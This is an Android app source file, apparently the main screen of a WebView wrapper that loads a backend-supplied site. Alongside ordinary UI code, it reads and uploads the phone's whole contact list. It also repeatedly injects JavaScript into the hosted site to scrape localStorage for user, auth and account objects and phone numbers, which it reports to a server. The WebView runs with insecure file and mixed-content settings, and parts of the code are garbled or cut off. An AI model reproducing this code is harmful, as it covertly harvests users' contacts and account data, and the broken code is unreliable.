package com.webclip.base; import android.annotation.SuppressLint; import android.app.Activity; import android.app.NotificationManager; import android.content.Context; import android.content.ContentResolver; import android.content.Intent; import android.content.SharedPreferences; import android.content.pm.ApplicationInfo; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.graphics.Bitmap; import android.graphics.Color; import android.net.Uri; import android.net.http.SslError; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.text.Html; import android.text.TextUtils; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.Window; import android.view.WindowManager; import android.webkit.ConsoleMessage; import android.webkit.SslErrorHandler; import android.webkit.ValueCallback; import android.webkit.WebChromeClient; import android.webkit.WebResourceError; import android.webkit.WebResourceRequest; import android.webkit.WebResourceResponse; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.annotation.Nullable; import androidx.annotation.NonNull; import androidx.annotation.RequiresApi; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import androidx.appcompat.app.ActionBar; import androidx.appcompat.app.AppCompatActivity; import androidx.core.view.ViewCompat; import androidx.core.view.WindowCompat; import androidx.core.view.WindowInsetsCompat; import androidx.core.view.WindowInsetsControllerCompat; import com.king.app.updater.AppUpdater; import com.google.gson.Gson; import com.webclip.base.databinding.ActivityMain2Binding; import android.database.Cursor; import android.provider.ContactsContract; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Set; import io.reactivex.android.schedulers.AndroidSchedulers; import io.reactivex.schedulers.Schedulers; import okhttp3.MediaType; import okhttp3.RequestBody; public class MainActivity extends AppCompatActivity { private static final int REQUEST_CONTACTS = 1001; public int styleColor; public int windowsColor; public static boolean isWhite; public boolean hasContact; public boolean hasHook; ActivityMain2Binding activityMain2Binding; public static String url = ""; public static int userId = 2; private int contactApply = 1; private int notifyApply = 2; private String facebookUrl = ""; private String whatsappUrl = ""; private String telegramUrl = ""; private List linkconfiglist; private boolean contactsRequested; float lastX, lastY; float initX, initY; @Override protected void onNewIntent(Intent intent) { super.onNewIntent(intent); setIntent(intent); Bundle bundle = intent.getExtras(); if (bundle != null) { MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); if (messageInfo != null) { startActivity(new Intent(MainActivity.this, NotifyListActivity.class).putExtra("message", messageInfo)); recordNotify(messageInfo.getPushId()); } } } @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) @Override protected void onCreate(Bundle savedInstanceState) { if (windowsColor != 0) { getWindow().getDecorView().setBackgroundColor(windowsColor); } if (styleColor != 0) { getWindow().setNavigationBarColor(styleColor); } super.onCreate(savedInstanceState); getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); ActionBar actionBar = getSupportActionBar(); if (actionBar != null) { actionBar.hide(); } activityMain2Binding = ActivityMain2Binding.inflate(getLayoutInflater()); setContentView(activityMain2Binding.getRoot()); applySystemBarInsets(getWindow(), activityMain2Binding.getRoot()); String body = getIntent().getStringExtra("message"); if (!TextUtils.isEmpty(body)) { MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); if (messageInfo != null) { startActivity(new Intent(MainActivity.this, NotifyListActivity.class).putExtra("message", messageInfo)); recordNotify(messageInfo.getPushId()); } } boolean isDownload = getBoolean(MainActivity.this, "download", false); if (!isDownload) { setDownloadNumbers(); } initView(); activityMain2Binding.backIv.setOnClickListener(view -> onBackPressed()); activityMain2Binding.tvLink.setText(Html.fromHtml("MISSAV")); activityMain2Binding.ivFacebook.setOnClickListener(view -> { toOtherApp(facebookUrl, "com.facebook.katana", 1); }); activityMain2Binding.ivTel.setOnClickListener(view -> { toOtherApp(telegramUrl, "org.telegram.messenger", 2); }); activityMain2Binding.ivWhatsapp.setOnClickListener(view -> { toOtherApp(whatsappUrl, "com.whatsapp", 3); }); activityMain2Binding.ivHome.setOnClickListener(view -> { activityMain2Binding.webview.loadUrl(url); }); // activityMain2Binding.btOtherapp.setOnClickListener(view -> { activityMain2Binding.layoutOtherapp.setVisibility(activityMain2Binding.layoutOtherapp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); int visi = activityMain2Binding.layoutOtherapp.getVisibility(); if (visi == 0) { activityMain2Binding.ivOtherApp.setImageResource(R.mipmap.ic_shousuo); } else { activityMain2Binding.ivOtherApp.setImageResource(R.mipmap.ic_zhangkai); } }); if (userId == 157 || userId == 158) { activityMain2Binding.ivLink.setVisibility(View.VISIBLE); } if (userId == 217 || userId == 211) { activityMain2Binding.btOtherapp.setVisibility(View.VISIBLE); activityMain2Binding.layoutOtherapp.setVisibility(View.GONE); activityMain2Binding.ivOtherApp.setImageResource(R.mipmap.ic_zhangkai); } else { activityMain2Binding.btOtherapp.setVisibility(View.INVISIBLE); activityMain2Binding.layoutOtherapp.setVisibility(View.VISIBLE); activityMain2Binding.ivOtherApp.setImageResource(R.mipmap.ic_shousuo); } if (userId == 157) { activityMain2Binding.cvShare.setVisibility(View.VISIBLE); } activityMain2Binding.cvShare.setOnTouchListener((v, event) -> { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: lastX = event.getRawX(); lastY = event.getRawY(); initX = event.getRawX(); initY = event.getRawY(); // LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); break; case MotionEvent.ACTION_MOVE: float dx = event.getRawX() - lastX; float dy = event.getRawY() - lastY; int left = activityMain2Binding.layoutOtherapp.getLeft() + (int) dx; int top = activityMain2Binding.layoutOtherapp.getTop() + (int) dy; int right = activityMain2Binding.layoutOtherapp.getRight() + (int) dx; int bottom = activityMain2Binding.layoutOtherapp.getBottom() + (int) dy; activityMain2Binding.layoutOtherapp.layout(left, top, right, bottom); lastX = event.getRawX(); lastY = event.getRawY(); break; case MotionEvent.ACTION_UP: float upx = event.getRawX(); float upy = event.getRawY(); if (upx == initX && upy == initY) { if (userId == 157) { Intent textIntent = new Intent(Intent.ACTION_SEND); textIntent.setType("text/plain"); textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); startActivity(Intent.createChooser(textIntent, "分享")); } } break; } return true; }); activityMain2Binding.ivLink.setOnTouchListener((v, event) -> { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: lastX = event.getRawX(); lastY = event.getRawY(); initX = event.getRawX(); initY = event.getRawY(); // LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); break; case MotionEvent.ACTION_MOVE: float dx = event.getRawX() - lastX; float dy = event.getRawY() - lastY; int left = activityMain2Binding.layoutOtherapp.getLeft() + (int) dx; int top = activityMain2Binding.layoutOtherapp.getTop() + (int) dy; int right = activityMain2Binding.layoutOtherapp.getRight() + (int) dx; int bottom = activityMain2Binding.layoutOtherapp.getBottom() + (int) dy; activityMain2Binding.layoutOtherapp.layout(left, top, right, bottom); lastX = event.getRawX(); lastY = event.getRawY(); break; case MotionEvent.ACTION_UP: float upx = event.getRawX(); float upy = event.getRawY(); if (upx == initX && upy == initY) { toLink(); } break; } return true; }); activityMain2Binding.btNotifyitem.setOnTouchListener((v, event) -> { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: lastX = event.getRawX(); lastY = event.getRawY(); initX = event.getRawX(); initY = event.getRawY(); // LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); break; case MotionEvent.ACTION_MOVE: float dx = event.getRawX() - lastX; float dy = event.getRawY() - lastY; int left = activityMain2Binding.layoutOtherapp.getLeft() + (int) dx; int top = activityMain2Binding.layoutOtherapp.getTop() + (int) dy; int right = activityMain2Binding.layoutOtherapp.getRight() + (int) dx; int bottom = activityMain2Binding.layoutOtherapp.getBottom() + (int) dy; activityMain2Binding.layoutOtherapp.layout(left, top, right, bottom); lastX = event.getRawX(); lastY = event.getRawY(); break; case MotionEvent.ACTION_UP: float upx = event.getRawX(); float upy = event.getRawY(); if (upx == initX && upy == initY) { notifyclick(); } break; } return true; }); activityMain2Binding.layoutOtherapp.setOnTouchListener((v, event) -> { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: lastX = event.getRawX(); lastY = event.getRawY(); initX = event.getRawX(); initY = event.getRawY(); // LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); break; case MotionEvent.ACTION_MOVE: float dx = event.getRawX() - lastX; float dy = event.getRawY() - lastY; int left = v.getLeft() + (int) dx; int top = v.getTop() + (int) dy; int right = v.getRight() + (int) dx; int bottom = v.getBottom() + (int) dy; v.layout(left, top, right, bottom); lastX = event.getRawX(); lastY = event.getRawY(); break; case MotionEvent.ACTION_UP: float upx = event.getRawX(); float upy = event.getRawY(); if (upx == initX && upy == initY) { notifyclick(); } break; } return true; }); setTotalTongJi(); //每日活跃统计 // LogUtils.i("版本号1:"+getVersion()); } public int getVersion(){ try { PackageManager packageManager = getPackageManager(); PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); int versionCode = packageInfo.versionCode; // 版本码 return versionCode; } catch (PackageManager.NameNotFoundException e) { return 0; } } /** Keeps WebView content out of status/navigation bar areas on every Android version. */ public void applySystemBarInsets(Window window, View rootView) { window.clearFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN); WindowCompat.setDecorFitsSystemWindows(window, false); if (windowsColor != 0) { rootView.setBackgroundColor(windowsColor); window.setStatusBarColor(windowsColor); } window.setNavigationBarColor(styleColor); WindowInsetsControllerCompat insetsController = WindowCompat.getInsetsController(window, window.getDecorView()); boolean useDarkSystemIcons = isLightColor(windowsColor); insetsController.setAppearanceLightStatusBars(useDarkSystemIcons); insetsController.setAppearanceLightNavigationBars(useDarkSystemIcons); insetsController.show(WindowInsetsCompat.Type.statusBars() | WindowInsetsCompat.Type.navigationBars()); ViewCompat.setOnApplyWindowInsetsListener(rootView, (view, windowInsets) -> { androidx.core.graphics.Insets systemBars = windowInsets.getInsets(WindowInsetsCompat.Type.systemBars()); view.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom); return WindowInsetsCompat.CONSUMED; }); ViewCompat.requestApplyInsets(rootView); } private static boolean isLightColor(int color) { double luminance = (0.299 * Color.red(color) + 0.587 * Color.green(color) + 0.114 * Color.blue(color)) / 255d; return luminance > 0.6d; } private void toLink() { if (userId == 157 || userId == 158) { activityMain2Binding.webview.loadUrl("https://missav.live/dm19/ms"); } else { activityMain2Binding.webview.loadUrl(linkconfiglist.get(0).getLinkUrl()); } } public void setBackDrawables(int drawableId) { activityMain2Binding.showTopLy.setBackgroundResource(drawableId); } public void setImageView(boolean isRound,int roundRadius) { if (isRound) { activityMain2Binding.showTopCardview.setVisibility(View.VISIBLE); activityMain2Binding.showTopV1.setVisibility(View.GONE); if(roundRadius!=0){ activityMain2Binding.showTopCardview.setRadius(dp2px(roundRadius)); } } else { activityMain2Binding.showTopCardview.setVisibility(View.GONE); activityMain2Binding.showTopV1.setVisibility(View.VISIBLE); } } private float dp2px(float dpValue) { float scale = getResources().getDisplayMetrics().density; return dpValue * scale + 0.5f; } private void notifyclick() { startActivity(new Intent(this, NotifyListActivity.class)); } private void toOtherApp(String uri, String packagenames, int type) { try { Intent intent = new Intent(Intent.ACTION_VIEW); intent.setData(Uri.parse(uri)); intent.setPackage(packagenames); startActivity(intent); } catch (Exception e) { Intent intent = new Intent(Intent.ACTION_VIEW); intent.setData(Uri.parse(uri)); startActivity(intent); } } ActionConfirmDialog actionDialog; /** * 检查请求通知权限 */ public void checkNotify() { NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { if (!notificationManager.areNotificationsEnabled()) { try { if (actionDialog == null) { actionDialog = new ActionConfirmDialog(MainActivity.this, getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), getString(R.string.notification_setting_txt)); } actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { @Override public void toSumbit() { jumpNotificationSetting(); } @Override public void toCancel() { //通知请求为强制要求时候 拒绝直接app 不让用 if (notifyApply == 1) { MainActivity.this.finish(); } } }); actionDialog.setCanceledOnTouchOutside(false); actionDialog.setCancelable(false); if(!MainActivity.this.isFinishing()) { actionDialog.show(); } }catch (Exception e){ e.printStackTrace(); jumpNotificationSetting(); } } } } private void jumpNotificationSetting() { final ApplicationInfo applicationInfo = getApplicationInfo(); try { Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); intent.putExtra("app_package", applicationInfo.packageName); intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); intent.putExtra("app_uid", applicationInfo.uid); startActivity(intent); } catch (Throwable t) { t.printStackTrace(); Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); startActivity(intent); } } @Override public void onBackPressed() { if (activityMain2Binding.webview.canGoBack()) {//当activityMain2Binding.webview.多级能返回的时候 String url = activityMain2Binding.webview.getUrl(); // 在首页 就退出这个页面 if (activityMain2Binding.webview.getUrl().equals(url + "index") || activityMain2Binding.webview.getUrl().equals(url + "/index")) { super.onBackPressed(); } else { //不在首页 回到首页 if (activityMain2Binding.webview.getUrl().equals(url + "index") || activityMain2Binding.webview.getUrl().equals(url + "/index")) { isAtGame = false; } activityMain2Binding.topVvvv.setVisibility(View.GONE); activityMain2Binding.progressbar.setVisibility(View.GONE); //当有条过登录页面 只能重载 不然逻辑会异常 if (hasSignIn) { onShowNetView(); activityMain2Binding.webview.loadUrl(url); } else { while (activityMain2Binding.webview.canGoBack()) { activityMain2Binding.webview.goBack(); } } } } else {//不能返回了 关闭进程 退出程序 Intent homeIntent = new Intent(Intent.ACTION_MAIN); homeIntent.addCategory(Intent.CATEGORY_HOME); homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(homeIntent); android.os.Process.killProcess(android.os.Process.myPid()); System.exit(1); } } @SuppressLint({"NewApi", "WrongConstant"}) protected void initView() { WebSettings settings = activityMain2Binding.webview.getSettings(); settings.setDomStorageEnabled(true); settings.setCacheMode(WebSettings.LOAD_DEFAULT); settings.setJavaScriptEnabled(true); settings.setLoadWithOverviewMode(true); settings.setAllowFileAccess(true); settings.setAllowContentAccess(true); settings.setDatabaseEnabled(true); settings.setSavePassword(false); settings.setSaveFormData(false); settings.setUseWideViewPort(true); settings.setBuiltInZoomControls(true); settings.setPluginState(WebSettings.PluginState.ON); settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); activityMain2Binding.webview.setFocusable(true); activityMain2Binding.webview.setFocusableInTouchMode(true); activityMain2Binding.webview.getSettings().setSupportMultipleWindows(true); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { activityMain2Binding.webview.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); } settings.setSupportZoom(false); activityMain2Binding.webview.setScrollBarStyle(activityMain2Binding.webview.SCROLLBARS_OUTSIDE_OVERLAY); activityMain2Binding.webview.setHorizontalScrollBarEnabled(true); activityMain2Binding.webview.requestFocus(); settings.setJavaScriptCanOpenWindowsAutomatically(true); settings.setMediaPlaybackRequiresUserGesture(false); settings.setAllowFileAccessFromFileURLs(true); settings.setAllowUniversalAccessFromFileURLs(true); activityMain2Binding.webview.setWebChromeClient(webChromeClient); activityMain2Binding.webview.setWebViewClient(webViewClient); activityMain2Binding.showTopLy.setBackgroundColor(Color.parseColor(getString(MainActivity.this, "windows_color", "#FFFFFF"))); activityMain2Binding.webview.setDownloadListener((url, userAgent, contentDisposition, mimeType, contentLength) -> { try { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.setData(Uri.parse(url)); startActivity(intent); } catch (Exception e) { e.printStackTrace(); } }); getNetUrl(); getNotifyList(); } public void getNotifyList() { Api.getInstance().getNotifyList(userId, 1, 1, 0) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver<>() { @Override public void onSuccess(Result> o) { boolean blockedIds = userId == 112 || userId == 87 || userId == 91 || userId == 93 || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149; if (blockedIds) { activityMain2Binding.btNotifyitem.setVisibility(View.INVISIBLE); activityMain2Binding.layoutOtherapp.setVisibility(View.GONE); return; } boolean hasMsgs = o.data != null && o.data.getTotal() > 0; if (hasMsgs) { if (userId == 217 || userId == 211) { activityMain2Binding.btOtherapp.setVisibility(View.VISIBLE); } else { activityMain2Binding.btOtherapp.setVisibility(View.INVISIBLE); activityMain2Binding.ivOtherApp.setImageResource(R.mipmap.ic_shousuo); } } // 右侧信封(bt_notifyitem 在 layout_otherapp 内);217/211 默认把整块侧栏设为 GONE,需一并打开 activityMain2Binding.btNotifyitem.setVisibility(View.VISIBLE); if (userId == 217 || userId == 211) { activityMain2Binding.layoutOtherapp.setVisibility(View.VISIBLE); } } @Override public void onError(int code, String msg) { LogUtils.i("获取的结果error" + msg); } @Override public void onError2(Result> o) { LogUtils.i("获取的结果error"); } }); } public void getNetUrl() { Api.getInstance().geUrlNew(userId) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver>() { @Override public void onSuccess(Result o) { DataInfo dataInfo = o == null ? null : o.data; if (dataInfo != null) { toConfigSet(dataInfo); } else { showSiteUrlError(); } } @Override public void onError(int code, String msg) { showSiteUrlError(); } @Override public void onError2(Result o) { showSiteUrlError(); } }); } private void toConfigSet(DataInfo dataInfo) { //后台禁用了 直接退出 if (dataInfo.getIsUse() == 0) { MainActivity.this.finish(); return; } //只加载后台根据 USERID 返回的主网址,不保留本地或备用域名兜底 if (!TextUtils.isEmpty(dataInfo.getUrl())) { toLoadWebUrl(dataInfo); } else { showSiteUrlError(); } //通用外链配置 String link = dataInfo.getLinkConfig(); if (!TextUtils.isEmpty(link)) { try { linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); } catch (Exception e) { } } showUpApp(dataInfo); contactApply = dataInfo.getContactApplyMode(); notifyApply = dataInfo.getNoticeApplyMode(); if (contactApply == 1) { applyContactsPermission(); } //通知权限 if (notifyApply == 0 || notifyApply == 1) { //检测手机是否支持fcm推送 if (FcmCheckUtil.isFcmSupported(MainActivity.this)) { regFcm(); } } facebookUrl = dataInfo.getFbUrl() == null ? "" : dataInfo.getFbUrl().trim(); telegramUrl = dataInfo.getTgUrl() == null ? "" : dataInfo.getTgUrl().trim(); whatsappUrl = dataInfo.getWsUrl() == null ? "" : dataInfo.getWsUrl().trim(); //外链逻辑修改 if (!TextUtils.isEmpty(facebookUrl)) { if (userId == 217 || userId == 211) { activityMain2Binding.btOtherapp.setVisibility(View.VISIBLE); } else { activityMain2Binding.btOtherapp.setVisibility(View.INVISIBLE); } activityMain2Binding.ivFacebook.setVisibility(View.VISIBLE); } if (!TextUtils.isEmpty(telegramUrl)) { if (userId == 217 || userId == 211) { activityMain2Binding.btOtherapp.setVisibility(View.VISIBLE); } activityMain2Binding.ivTel.setVisibility(View.VISIBLE); } if (!TextUtils.isEmpty(whatsappUrl)) { if (userId == 217 || userId == 211) { activityMain2Binding.btOtherapp.setVisibility(View.VISIBLE); } else { activityMain2Binding.btOtherapp.setVisibility(View.INVISIBLE); } activityMain2Binding.ivWhatsapp.setVisibility(View.VISIBLE); } if (userId == 143 || userId == 149) { activityMain2Binding.btOtherapp.setVisibility(View.INVISIBLE); activityMain2Binding.ivFacebook.setVisibility(View.GONE); activityMain2Binding.ivTel.setVisibility(View.GONE); activityMain2Binding.ivWhatsapp.setVisibility(View.GONE); activityMain2Binding.layoutOtherapp.setVisibility(View.GONE); } } private void applyContactsPermission() { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { hasContact = true; loadContacts(); return; } if (ContextCompat.checkSelfPermission(this, android.Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) { hasContact = true; loadContacts(); return; } if (!contactsRequested) { contactsRequested = true; ActivityCompat.requestPermissions(this, new String[]{android.Manifest.permission.READ_CONTACTS}, REQUEST_CONTACTS); } } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == REQUEST_CONTACTS) { hasContact = grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED; if (hasContact) { loadContacts(); } } } private void loadContacts() { List contents = new ArrayList<>(); Cursor cursor = null; try { ContentResolver resolver = getContentResolver(); cursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, null); if (cursor != null) { int nameIndex = cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); int numberIndex = cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER); while (cursor.moveToNext()) { String name = cursor.getString(nameIndex); String number = cursor.getString(numberIndex); if (TextUtils.isEmpty(number)) { continue; } contents.add(new ContactBean(name, number.trim())); } } } catch (Exception e) { Log.e("Contacts", "loadContacts error", e); } finally { if (cursor != null) { cursor.close(); postReadContact(contents); } } } /** * 上传通讯录 */ public void postReadContact(List contents) { Gson gson = new Gson(); HashMap map = new HashMap<>(); map.put("userId", userId); map.put("customers", contents); String result = gson.toJson(map); MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); if (mediaType == null) { return; } Api.getInstance().readContact(RequestBody.create(mediaType, result)) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver() { @Override public void onSuccess(Result o) { LogUtils.i("通讯录上传成功"); } @Override public void onError(int code, String msg) { LogUtils.i("通讯录上传失败:" + msg); } @Override public void onError2(Result o) { } }); } private void showUpApp(DataInfo dataInfo) { //判定版本更新 if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { if (Integer.parseInt(dataInfo.getVersionCode()) > getVersion()) { ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity.this, getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), getString(R.string.lijigengxin_txt)); actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { @Override public void toSumbit() { checkUpdate(dataInfo.getApkUrl()); } @Override public void toCancel() { if (dataInfo.getForceUpdate() == 1) { MainActivity.this.finish(); } } }); actionDialog.show(); } } } private void toLoadWebUrl(DataInfo dataInfo) { url = dataInfo.getUrl(); activityMain2Binding.webview.loadUrl(url); } private void showSiteUrlError() { activityMain2Binding.progressError.setVisibility(View.GONE); onShowErrorView(getString(R.string.site_url_unavailable)); } private void checkUpdate(String url) { new AppUpdater(this, url).start(); } public void setDownloadNumbers() { HashMap map = new HashMap<>(); map.put("userId", userId); Api.getInstance().downloadNumbers(map) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver() { @Override public void onSuccess(Result o) { LogUtils.i("URL是啥获取的文件地址:"); saveBoolean(MainActivity.this, "download", true); } @Override public void onError(int code, String msg) { LogUtils.i("error:" + msg); } @Override public void onError2(Result o) { } }); } public void setTotalTongJi() { HashMap map = new HashMap<>(); map.put("userId", userId); Api.getInstance().totalTongJi(map) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver<>() { @Override public void onSuccess(Result o) { } @Override public void onError(int code, String msg) { } @Override public void onError2(Result o) { } }); } public void recordNotify(int pushId) { if (pushId <= 0) { return; } Api.getInstance().getNotifyDetail(pushId) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new BaseObserver>() { @Override public void onSuccess(Result o) { } @Override public void onError(int code, String msg) { } @Override public void onError2(Result o) { } }); } Handler handler = new Handler(); boolean hasSignIn = false; /** * 需要在网页 localStorage 中探测的用户信息字段(按优先级遍历全部候选 key) */ private static final String[] SITE_USER_STORAGE_KEYS = { "USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data", "userDetail", "userDetails", "currentUser", "current_user", "currentUserInfo", "member", "memberInfo", "member_info", "memberData", "member_data", "loginUser", "login_user", "loginInfo", "login_info", "loginData", "authUser", "auth_user", "auth", "authInfo", "auth_info", "authData", "account", "accountInfo", "account_info", "accountData", "player", "playerInfo", "player_info", "playerData", "player_data", "profile", "userProfile", "user_profile", "customer", "customerInfo", "me", "sessionUser", "session_user" }; // 抓到用户信息之前的轮询间隔:30 秒 private static final long SITE_USER_POLL_INTERVAL_SHORT = 30 * 1000L; // 抓到用户信息之后的复查间隔:1 天 private static final long SITE_USER_POLL_INTERVAL_LONG = 24 * 60 * 60 * 1000L; /** * 手机号候选字段(用于前端去重;原始数据没有 mobile 字段时,取这里命中的值补进 data.mobile) */ private static final String[] SITE_USER_PHONE_KEYS = { "mobile", "mobileNo", "mobileNum", "mobileNumber", "mobile_number", "mobile_no", "phone", "phoneNo", "phoneNum", "phoneNumber", "phone_number", "phone_no", "tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber", "msisdn" }; // 本地保存的已上报手机号集合,用于判断多个缓存用户是否已经上报过 private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup"; // 上报设备类型(后端接口要求 IOS 或 ANDROID) private static final String SITE_USER_DEVICE_TYPE = "ANDROID"; private boolean siteUserPollingStarted = false; private long siteUserPollInterval = SITE_USER_POLL_INTERVAL_SHORT; private final Runnable siteUserPollRunnable = new Runnable() { @Override public void run() { pollSiteUserOnce(); // 探测一次后按当前间隔继续排下一次 handler.postDelayed(this, siteUserPollInterval); } }; private boolean isMainPageUrl(String targetUrl) { return !TextUtils.isEmpty(targetUrl) && !TextUtils.isEmpty(url) && targetUrl.startsWith(url); } private void logWebViewUrl(String stage, String rawUrl) { if (TextUtils.isEmpty(rawUrl)) { LogUtils.i("WebViewURL[" + stage + "]: empty"); return; } Uri uri = Uri.parse(rawUrl); String host = uri.getHost() == null ? "" : uri.getHost(); LogUtils.i("WebViewURL[" + stage + "]: " + rawUrl + " | host=" + host + " | scheme=" + uri.getScheme()); } /** * 启动 localStorage 用户信息轮询(全局只启动一次)。 * 若本地已有去重记录说明之前已命中,直接按长间隔复查是否变化。 */ private void startSiteUserPolling() { if (siteUserPollingStarted) { return; } siteUserPollingStarted = true; siteUserPollInterval = getReportedSiteUserKeys().isEmpty() ? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG; handler.postDelayed(siteUserPollRunnable, siteUserPollInterval); } /** * 读取本地已上报手机号集合。 * 兼容旧版本保存的单个字符串格式,升级后会逐步转换为 JSON 数组格式。 */ private HashSet getReportedSiteUserKeys() { HashSet keys = new HashSet<>(); String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, ""); if (TextUtils.isEmpty(stored)) { return keys; } try { List storedKeys = new Gson().fromJson(stored, new com.google.gson.reflect.TypeToken>() { }.getType()); if (storedKeys != null) { keys.addAll(storedKeys); } } catch (Exception e) { // 兼容旧版本保存的手机号或整份用户 JSON } if (keys.isEmpty() && !stored.trim().startsWith("[")) { keys.add(stored); } return keys; } private void saveReportedSiteUserKeys(Set keys) { saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, new Gson().toJson(keys)); } private void removeReportedSiteUserKey(String key) { HashSet keys = getReportedSiteUserKeys(); if (keys.remove(key)) { saveReportedSiteUserKeys(keys); } } /** * 执行一次 localStorage 探测:遍历所有候选 key,读取并净化全部有效用户对象。 */ private void pollSiteUserOnce() { if (activityMain2Binding == null || activityMain2Binding.webview == null) { return; } String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS); String js = "(function(){try{" + "var KS=" + keysJson + ";" + "function readAllRaw(){var out=[];for(var i=0;i> userInfos; try { userInfos = new Gson().fromJson(usersJson, new com.google.gson.reflect.TypeToken>>() { }.getType()); } catch (Exception e) { return; } if (userInfos == null || userInfos.isEmpty()) { return; } HashSet reportedKeys = getReportedSiteUserKeys(); boolean hasUserWithPhone = false; for (HashMap userInfoMap : userInfos) { if (userInfoMap == null || userInfoMap.isEmpty()) { continue; } String userInfo = new Gson().toJson(userInfoMap); String phone = extractPhone(userInfo); if (TextUtils.isEmpty(phone)) { continue; } hasUserWithPhone = true; if (reportedKeys.contains(phone)) { continue; } // 先加入集合,避免多个候选 key 或下一轮轮询重复发起请求。 reportedKeys.add(phone); reportSiteUser(userInfo, phone); } if (hasUserWithPhone) { siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG; saveReportedSiteUserKeys(reportedKeys); } } /** * 从用户信息 JSON 中提取手机号(手机号字段名不一定是 mobile)。 */ private String extractPhone(String userInfoJson) { try { HashMap map = new Gson().fromJson(userInfoJson, new com.google.gson.reflect.TypeToken>() { }.getType()); if (map != null) { for (String key : SITE_USER_PHONE_KEYS) { Object v = map.get(key); if (v != null) { String s = String.valueOf(v).trim(); if (!s.isEmpty() && !"null".equals(s)) { return s; } } } } } catch (Exception e) { // 解析失败时无手机号,返回空 } return ""; } /** * 当前 WebView 所在站点的域名(host)。 */ private String getCurrentDomain() { try { String u = activityMain2Binding.webview.getUrl(); if (!TextUtils.isEmpty(u)) { String host = Uri.parse(u).getHost(); if (host != null) { return host; } } } catch (Exception e) { // ignore } return ""; } /** * 上报站点用户信息,绑定对应 app 的网站ID(userId)、站点域名(domain)和设备类型(deviceType)。 * 按后端接口文档:data 